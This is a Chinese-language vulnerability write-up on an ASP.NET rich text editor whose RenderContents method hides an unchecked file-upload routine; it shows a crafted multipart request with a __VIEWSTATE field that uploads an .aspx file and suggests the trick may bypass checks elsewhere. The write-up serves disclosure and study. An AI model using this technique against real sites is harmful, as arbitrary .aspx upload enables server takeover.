在这个文本编辑器上没有找到任何按钮是可以直接上传文件的(只有插入文件上传按钮,没啥用),但是代码里面是隐藏有这样一个功能的:
code 区域
protected override void RenderContents(HtmlTextWriter output)
{
if (this.Page.IsPostBack) //判断是否第一次访问,这个是小的关键点
{
//if there is an uploaded file
HttpFileCollection UploadFile =this.Page.Request.Files;
for (int i = 0; i < UploadFile.Count; i++)
{
HttpPostedFile file = UploadFile[i];
string FileName = Path.GetFileName(file.FileName);
string StrPath = this.Page.MapPath("~/Uploads/");
try
{
file.SaveAs(Path.Combine(StrPath, FileName));
}
catch (DirectoryNotFoundException DirectoryNullException)
{
output.Write(DirectoryNullException.Message);
}
}
}
Page.ClientScript.GetPostBackEventReference(this.Page, string.Empty);
HtmlSourceInitializer.InitializeHtmlSource(this.Page);
output.Write(HtmlSourceInitializer.RichTextHtmlSource.ToString());
}
RenderContents是绘制自定义控件时会自动调用的一个方法,这个编辑器直接把他重写了。
里面对于文件上传的判断,主要是由this.Page.IsPostBack来控制的,IsPostBack意思简述就是“是否是第一次访问该页面”。
更多请看:
http://**.**.**.**/zh-cn/library/system.web.ui.page.ispostback.aspx
所以,对于IsPostBack的值的控制,是是否可以成功上传文件的关键。
所以我们先考虑下,有没有比较万全的方法,可以使得IsPostBack的值可以为true(为true我们就可以上传文件了啊)
先搞一个文件上传的html试试:
上传了,文件夹里面并没有生成文件:
所以很肯定的一点,就是直接用这个方法上传文件,ispostback是肯定不会有true的!
再用自带的demo,里面有一个get data的按钮,直接点击
我们会看到自动提交了很多数据,在里面插入一段文件的代码:
code 区域
Content-Disposition: form-data; name="file"; filename="a.aspx"
Content-Type: application/xml
ai
先去掉其它东西,留下viewstate和这段file代码
code 区域
------WebKitFormBoundaryI4bps9FYvWWWngDb
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMjEyNTk0Njc3Ng9kFgRmDxYCHglpbm5lcmh0bWwFqAQ8dGl0bGU+S3VsZWguY29tPC90aXRsZT48bGluayByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJyBocmVmPScvV2ViUmVzb3VyY2UuYXhkP2Q9VE54b2cyVGt0YzA1aFdidHg3OXpBOG5UbWEyWEhUSmxrNkozSV9OUWhmVjRpeVNIcnhvRHJNSXVjSEFlTl9fd25Fb3cyMGM0VGQwWmhIeWtJcDd2S2cyJnQ9NjM0OTcxMjg4NjU2MDgyOTcwJyAvPjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnIGhyZWY9Jy9XZWJSZXNvdXJjZS5heGQ/ZD1UTnhvZzJUa3RjMDVoV2J0eDc5ekE4blRtYTJYSFRKbGs2SjNJX05RaGZWaVlLUGtBdUJJQUVteFFKU1ozejZwM0VvdVExZThWU3o2anJIODEtLU1YZzImdD02MzQ5NzEyODg2NTYwODI5NzAnIC8+PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2NzcycgaHJlZj0nL1dlYlJlc291cmNlLmF4ZD9kPVROeG9nMlRrdGMwNWhXYnR4Nzl6QThuVG1hMlhIVEpsazZKM0lfTlFoZlhpYnhrVk12RTB1WndQVi1NZmg5Ui1seWt1aHVfczFGQ0tDNGRmbk12cGl3MiZ0PTYzNDk3MTI4ODY1NjA4Mjk3MCcgLz5kAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkZH1GEi58juKz50rMm0Z+FcD3dEUs
------WebKitFormBoundaryI4bps9FYvWWWngDb
Content-Disposition: form-data; name="file"; filename="a.aspx"
Content-Type: application/xml
ai
------WebKitFormBoundaryI4bps9FYvWWWngDb—
此时测试是可以成功上传文件的:
先解开viewstate看看,看是否存在某一个值比如ispostback=true?
仔细对照了下,没有发现任何的地方是有ispostback=true的。
再清空viewstate,让viewstate=null
一样成功上传了文件
所以按这个情况来分析,ispostback=true的一个条件是存在viewstate这个参数!只要viewstate是正确的或者为空值,都可以成立(千万不能乱伪造,接不开viewstate会导致系统报错,会500)。
综上,当遇到需要控制ispostback的值为true的时候,只要存在一个可控不会报错的viewstate值,服务器就会自动判断你不是第一次访问该页面,可以直接用类似下面的html代码解决问题:
code 区域
小漏洞里面也可以研究出一些小知识,希望大家受益。这个点可能还可以用在很多其它系统上,说不定会有很给力的效果(比如一些绕过)。